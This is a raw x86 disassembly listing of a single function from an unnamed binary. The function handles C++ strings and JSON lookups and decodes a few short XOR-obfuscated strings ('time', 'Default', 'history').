mov edx, esi
cmp ecx, 0xc0a
jne 0x42bf28
push 0
push 7
push esi
call fcn.00492380
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42bf34
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x42bf4a
push eax
call dword [0x534f68]
add esp, 4
push ebx
call fcn.004ece36
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.00504a10
sub eax, 0xb6109100
mov byte [ebp - 0x174], 0
mov dword [ebp - 0x1dc], eax
sbb edx, 2
xor eax, eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x1dc]
push eax
lea eax, [ebp - 0x174]
mov dword [ebp - 0x1d8], edx
push eax
call fcn.0047b620
mov byte [ebp - 4], 0x21
xor ecx, ecx
mov dword [ebp - 0x3f], 0x929b9c80
mov word [ebp - 0x3b], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 4
jb 0x42bfb0
xor eax, eax
mov byte [ebp - 0x3a], 0
lea edx, [ebp - 0x3f]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
lea ecx, [edx + 1]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x42bfe0
sub edx, ecx
lea eax, [ebp - 0x3f]
push edx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402ae0
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x34]
push eax
call fcn.00471a00
mov byte [ebp - 4], 0x21
mov ebx, eax
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x42c040
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c036
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x1c
mov al, byte [ebp - 0x174]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov cl, byte [ebx]
mov byte [ebx], al
mov esi, dword [ebx + 0xc]
mov edx, dword [ebx + 8]
mov eax, dword [ebp - 0x16c]
mov byte [ebp - 0x174], cl
mov ecx, dword [ebp - 0x168]
mov dword [ebx + 0xc], ecx
lea ecx, [ebp - 0x174]
mov dword [ebx + 8], eax
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], esi
call fcn.00468450
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 0x10], 0
jbe 0x42c0bc
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0046a770
mov byte [ebp - 4], 0x25
mov ebx, dword [ebp - 0x1c]
or ebx, 0x20
jmp 0x42c13c
mov dword [ebp - 0x2d], 0x969090b0
xor ecx, ecx
mov dword [ebp - 0x29], 0x8e958d
mov byte [ebp - 0x25], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 7
jb 0x42c0d0
xor eax, eax
mov byte [ebp - 0x25], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c110
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.00402ae0
mov dword [ebp - 4], 0x26
lea eax, [ebp - 0xa4]
mov ebx, dword [ebp - 0x1c]
or ebx, 0x40
push eax
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
call fcn.00468100
lea ecx, [ebp - 0xbc]
push ecx
mov ecx, eax
call fcn.00467e20
mov dword [ebp - 4], 0x25
test bl, 0x40
je 0x42c1c6
mov ecx, dword [ebp - 0x90]
and ebx, 0xffffffbf
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42c1ab
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c1a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov dword [ebp - 4], 0x1c
test bl, 0x20
je 0x42c215
mov ecx, dword [ebp - 0x1b8]
and ebx, 0xffffffdf
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x42c215
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c20b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0x1a
call fcn.00468450
mov ecx, edi
call fcn.004a2b90
cmp eax, 0x64
je 0x42bc30
test edi, edi
je 0x42c2a6
mov esi, dword [edi]
mov ebx, dword [esi + 0x44]
test ebx, ebx
je 0x42c24b
push ebx
call dword [0x534f60]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x34], 0
cmp eax, 0xbdf20da3
je 0x42c263
cmp eax, 0x519c2973
jne 0x42c26d
mov ecx, edi
call fcn.004a1dd0
mov dword [ebp - 0x34], eax
mov ecx, edi
call fcn.004a1f80
test esi, esi
je 0x42c298
cmp byte [esi + 0x1e], 0
jne 0x42c287
cmp dword [ebp - 0x34], 0xc0a
jne 0x42c298
push 0
push 7
push esi
call fcn.00492380
add esp, 0xc
mov byte [esi + 0x1e], 0
test ebx, ebx
je 0x42c2a6
push ebx
call dword [0x534f68]
add esp, 4
mov ecx, dword [ebp - 0x58]
call fcn.00413f50
mov dword [ebp - 0x49], 0x83859c9c
xor ecx, ecx
mov dword [ebp - 0x45], 0x838b97
mov byte [ebp - 0x41], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 7
jb 0x42c2c2
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 0x49]
push eax
mov byte [ebp - 0x41], 0
call fcn.0046e710
lea ecx, [ebp - 0x1ec]
push ecx
mov ecx, eax
call fcn.00467e20
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x42c32f
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c325
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
mov byte [ebp - 4], 6
call fcn.00468450
mov esi, dword [ebp - 0x54]
inc esi
mov dword [ebp - 0x54], esi
cmp esi, dword [ebp - 0x50]
jae 0x42c36d
mov edi, dword [ebp - 0x7c]
jmp 0x42b580
lea ecx, [ebp - 0x7c]
call fcn.0046c860
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x42c3ab
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42c3a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x42b08c
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b082
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42c404
jmp 0x42b082
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.004e47b0
lea ecx, [ebp - 0xbc]
call fcn.0046c340
push eax
lea ecx, [ebp - 0x1cc]
call fcn.00402980
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x220]
call fcn.0046e530
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x208]
call fcn.00407820
add esp, 4
lea eax, [ebp - 0x208]
push 0x5316e0
push eax
call fcn.004e0efb
int3